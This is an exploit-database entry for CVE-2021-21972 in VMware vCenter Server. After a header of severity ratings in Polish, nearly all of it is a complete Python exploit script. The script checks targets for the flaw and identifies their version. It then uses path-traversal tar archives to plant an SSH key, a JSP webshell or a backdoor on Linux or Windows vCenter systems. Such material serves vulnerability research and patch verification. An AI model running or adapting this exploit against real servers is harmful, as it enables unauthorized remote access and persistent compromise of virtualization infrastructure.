VMware vCenter Server 7.0 Unauthenticated File Upload

2021.03.01
Credit: Photubias
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload # Date: 2021-02-27 # Exploit Author: Photubias # Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html # Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517) # Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds # CVE: CVE-2021-21972 #!/usr/bin/env python3 ''' Copyright 2021 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2021-21972.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be CVE-2021-21972 is an unauthenticated file upload and overwrite, exploitation can be done via SSH public key upload or a webshell The webshell must be of type JSP, and its success depends heavily on the specific vCenter version # Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister # A white page means vulnerable # A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet) # Notes: # * On Linux SSH key upload is always best, when SSH access is possible & enabled # * On Linux the upload is done as user vsphere-ui:users # * On Windows the upload is done as system user # * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui" # * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) Features: vulnerability checker + exploit ''' import os, tarfile, sys, optparse, requests requests.packages.urllib3.disable_warnings() lProxy = {} SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>''' sURL = sFile = sRpath = sType = None def parseArguments(options): global sURL, sFile, sType, sRpath, lProxy if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.') sURL = options.url if sURL[-1:] == '/': sURL = sURL[:-1] if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL sFile = options.file if not os.path.exists(sFile): exit('[-] File not found: ' + sFile) sType = 'ssh' if options.type: sType = options.type if options.rpath: sRpath = options.rpath else: sRpath = None if options.proxy: lProxy = {'https': options.proxy} def getVersion(sURL): def getValue(sResponse, sTag = 'vendor'): try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0] except: pass return '' oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE) #print(oResponse.text) if oResponse.status_code == 200: sResult = oResponse.text if not 'VMware' in getValue(sResult, 'vendor'): exit('[-] Not a VMware system: ' + sURL) else: sName = getValue(sResult, 'name') sVersion = getValue(sResult, 'version') # e.g. 7.0.0 sBuild = getValue(sResult, 'build') # e.g. 15934073 sFull = getValue(sResult, 'fullName') print('[+] Identified: ' + sFull) return sVersion, sBuild exit('[-] Not a VMware system: ' + sURL) def verify(sURL): #return True sURL += '/ui/vropspluginui/rest/services/uploadova' try: oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5) except: exit('[-] System not available: ' + sURL) if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely else: return False def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None): def getResourcePath(): oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5) return oResponse.text.split('static/')[1].split('/')[0] oTar = tarfile.open('payloadLin.tar','w') if sRpath: ## version & build not important if sRpath[0] == '/': sRpath = sRpath[1:] sPayloadPath = '../../' + sRpath oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'absolute' elif sType.lower() == 'ssh': ## version & build not important sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys' oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'ssh' elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631): ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i) oTar.close() return 'webshell' elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631): ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile> sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor' else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0): ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>) sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor' def createTarWin(sFile, sRpath = None): ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows if sRpath: if sRpath[0] == '/': sRpath = sRpath[:1] sPayloadPath = '../../' + sRpath else: sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile) oTar = tarfile.open('payloadWin.tar','w') oTar.add(sFile, arcname=sPayloadPath) oTar.close() def uploadFile(sURL, sUploadType, sFile): #print('[!] Uploading ' + sFile) sFile = os.path.basename(sFile) sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova' arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')} ## Linux oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Linux payload uploaded succesfully.') if sUploadType == 'ssh': print('[+] SSH key installed for user \'vsphere-ui\'.') print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'') return True elif sUploadType == 'webshell': sWebshell = sURL + '/ui/resources/' + sFile #print('testing ' + sWebshell) oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True elif sUploadType == 'backdoor': sWebshell = sURL + '/ui/resources/' + sFile print('[+] Backdoor ready, please reboot or wait for a reboot') print(' then open: ' + sWebshell) else: ## absolute pass ## Windows arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')} oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Windows payload uploaded succesfully.') if sUploadType == 'backdoor': print('[+] Absolute upload looks OK') return True else: sWebshell = sURL + '/statsreport/' + sFile oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True return False if __name__ == "__main__": usage = ( 'Usage: %prog [option]\n' 'Exploiting Windows & Linux vCenter Server\n' 'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n' 'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n' 'Note2: Windows is the most vulnerable, but less mostly deprecated anyway') parser = optparse.OptionParser(usage=usage) parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1') parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell') parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh') parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile') parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080') (options, args) = parser.parse_args() parseArguments(options) ## Verify if verify(sURL): print('[+] Target vulnerable: ' + sURL) else: exit('[-] Target not vulnerable: ' + sURL) ## Read out the version sVersion, sBuild = getVersion(sURL) if sRpath: print('[!] Ready to upload your file to ' + sRpath) elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'') else: print('[!] Ready to upload webshell \'' + sFile + '\'') sAns = input('[?] Want to exploit? [y/N]: ') if not sAns or not sAns[0].lower() == 'y': exit() ## Create TAR file sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath) if not sUploadType == 'ssh': createTarWin(sFile, sRpath) ## Upload and verify uploadFile(sURL, sUploadType, sFile) ## Cleanup os.remove('payloadLin.tar') os.remove('payloadWin.tar')


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